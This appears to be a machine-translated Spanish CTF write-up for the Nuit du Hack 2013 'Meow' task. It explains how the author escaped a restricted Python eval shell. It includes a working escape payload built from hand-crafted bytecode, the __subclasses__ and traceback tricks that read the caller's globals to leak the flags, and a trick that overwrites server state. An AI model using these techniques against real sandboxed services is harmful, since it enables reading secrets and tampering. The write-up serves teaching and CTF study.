Ayer tuvo lugar la ronda de clasificación de Nuit du Hack CTF 2013. Como es habitual, en algunas notas les contaré sobre tareas y / o soluciones interesantes de este CTF. Si desea saber más, mi compañero de equipo de w4kfu también debería publicar en su blog en breve.
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
Una de las tareas, llamada "Meow" , nos ofrece un shell remoto restringido con Python, donde la mayoría de los módulos integrados están deshabilitados:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
Había varias funciones disponibles, a saber
kitty()
, que generan la imagen del gato en ASCII y auth(password)
. Supuse que necesitábamos omitir la autenticación y encontrar una contraseña. Desafortunadamente, nuestros comandos de Python se pasan en eval
modo de expresión, lo que significa que no podemos usar ningún operador: ni el operador de asignación, ni imprimir, ni las definiciones de función / clase, etc. La situación se ha vuelto más complicada. Tendremos que usar la magia de Python (habrá mucho de eso en esta publicación, lo prometo).
Al principio asumí que
auth
solo estaba comparando la contraseña con una cadena constante. En este caso, podría usar un objeto personalizado modificado __eq__
de tal manera que siempre devuelvaTrue
... Sin embargo, no puede simplemente tomar y crear tal objeto. No podemos definir nuestras propias clases a través de una clase Foo
, ya que no podemos modificar un objeto ya existente (sin asignación). Aquí es donde comienza la magia de Python: podemos instanciar directamente un objeto de tipo para crear un objeto de clase y luego instanciar ese objeto de clase. Así es como se hace:
type('MyClass', (), {'__eq__': lambda self: True})
Sin embargo, no podemos usar el tipo aquí, no está definido en módulos incorporados. Podemos usar un truco diferente: cada objeto de Python tiene un atributo
__class__
que nos da el tipo de objeto. Por ejemplo, ‘’.__class__
esto str
. Pero lo que es más interesante: str.__class__
es el tipo. Entonces podemos usar ''.__class__.__class__
para crear un nuevo tipo.
Desafortunadamente, la función
auth
no solo compara nuestro objeto con una cadena. Ella hace muchas otras operaciones con él: lo divide en 14 caracteres, toma la longitud len()
y lo llama reduce
con una extraña lambda. Sin código, es difícil averiguar cómo hacer un objeto que se comporte de la forma en que quiere la función, y no me gusta adivinar. ¡Se necesita más magia!
Agreguemos objetos de código. De hecho, las funciones en Python también son objetos que consisten en un objeto de código y una captura de sus variables globales. El objeto de código contiene el código de bytes de esta función y los objetos constantes a los que hace referencia, algunas cadenas, nombres y otros metadatos (número de argumentos, número de objetos locales, tamaño de la pila, mapeo del código de bytes al número de línea). Puede obtener el objeto de código de función con
myfunc.func_code
. Esto restricted
está prohibido en el modo de intérprete de Python, por lo que no podemos ver el código de la función auth
. Sin embargo, podemos crear nuestras propias funciones como creamos nuestros propios tipos.
Podría preguntar, ¿por qué usar objetos de código para crear funciones cuando ya tenemos una lambda? Es simple: las lambdas no pueden contener operadores. ¡Y las funciones generadas aleatoriamente pueden hacerlo! Por ejemplo, podemos crear una función que genere su argumento a
stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
Sin embargo, aquí hay un pequeño problema: para obtener el tipo de objeto de código, debe acceder al atributo
func_code
, que es limitado. Afortunadamente, podemos usar un poco más de magia de Python para encontrar nuestro tipo sin acceder a atributos prohibidos.
En Python, un objeto de un tipo tiene un atributo
__bases__
que devuelve una lista de todas sus clases base. También tiene un método __subclasses__
que devuelve una lista de todos los tipos heredados de él. Si usamos __bases__
un tipo aleatorio, podemos llegar a la cima de la jerarquía de tipos de objeto y luego leer las subclases de objeto para obtener una lista de todos los tipos definidos en el intérprete:
>>> len(().__class__.__bases__[0].__subclasses__())
81
Luego podemos usar esta lista para encontrar nuestros tipos
function
y code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
Ahora que podemos construir cualquier función que queramos, ¿qué podemos hacer? Podemos acceder directamente a archivos en línea ilimitados: las funciones que creamos aún se ejecutan en el
restricted
entorno. Podemos obtener una función no aislada: la función auth
llama a un método en el __len__
objeto que pasamos como parámetro. Sin embargo, esto no es suficiente para escapar de la caja de arena: nuestras variables globales siguen siendo las mismas y no podemos, por ejemplo, importar un módulo. Estaba tratando de ver todas las clases a las que podíamos acceder con__subclasses__
para ver si podemos obtener un enlace a un módulo útil a través de él, sin éxito. Incluso recibir una llamada a una de nuestras funciones creadas a través del reactor no fue suficiente. Podríamos intentar obtener un objeto de rastreo y usarlo para ver los marcos de pila de las funciones de llamada, pero la única forma fácil de obtener un objeto de rastreo es a través de módulos inspect
o sys
que no podamos importar. Después de tropezar con este problema, cambié a otros, dormí mucho y me desperté con la solución correcta.
De hecho, hay otra manera de conseguir un objeto de rastreo de la biblioteca estándar de Python sin usar:
context manager
. Fueron una nueva característica en Python 2.6 que permite una especie de alcance orientado a objetos en Python:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
Podemos crear un objeto
context manager
que utilizará el objeto de rastreo pasado __exit__
para mostrar las variables globales a la función de llamada que está fuera de la zona de pruebas. Para hacer esto, usamos combinaciones de todos nuestros trucos anteriores. Creamos un tipo anónimo que define __enter__
tanto una lambda simple como __exit__
una lambda que se refiere a lo que queremos en el rastreo y lo pasa a nuestra lambda de salida (recuerde que no podemos usar operadores):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
¡Necesitamos profundizar más! Ahora necesitamos usar este
context manager
(al que llamaremos ctx
en los siguientes fragmentos de código) en una función que generará un error a propósito en un bloque with
:
def f(self):
with ctx:
raise 42
Luego ponemos
f
como __len__
nuestro objeto creado, que pasamos a la función auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
Volvamos al principio del artículo y recordemos el código incrustado "real". Cuando se ejecuta en el servidor, esto provoca que el intérprete de Python ejecute nuestra función
f
, pase por la creada context manager
__exit__
, la cual accederá a las variables globales de nuestro método de llamada, donde hay dos valores interesantes:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
¿Dos banderas? Resulta que se utilizó el mismo servicio para dos tareas consecutivas. ¡Doble matanza!
Para divertirnos un poco más accediendo a las variables globales, podemos hacer más que solo leer: ¡podemos cambiar las banderas! El uso de las
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
banderas cambiará hasta el próximo reinicio del servidor. Al parecer, los organizadores no planearon esto.
En cualquier caso, todavía no sé cómo se suponía que íbamos a resolver este problema de manera normal, pero creo que una solución tan universal es una buena manera de presentar a los lectores la magia negra de Python. Úselo con cuidado, es fácil forzar a Python a hacer la segmentación con los objetos de código generados (el uso del intérprete de Python y la ejecución del shellcode x86 a través del bytecode generado queda en manos del lector). Gracias a los organizadores de Nuit du Hack por una hermosa tarea.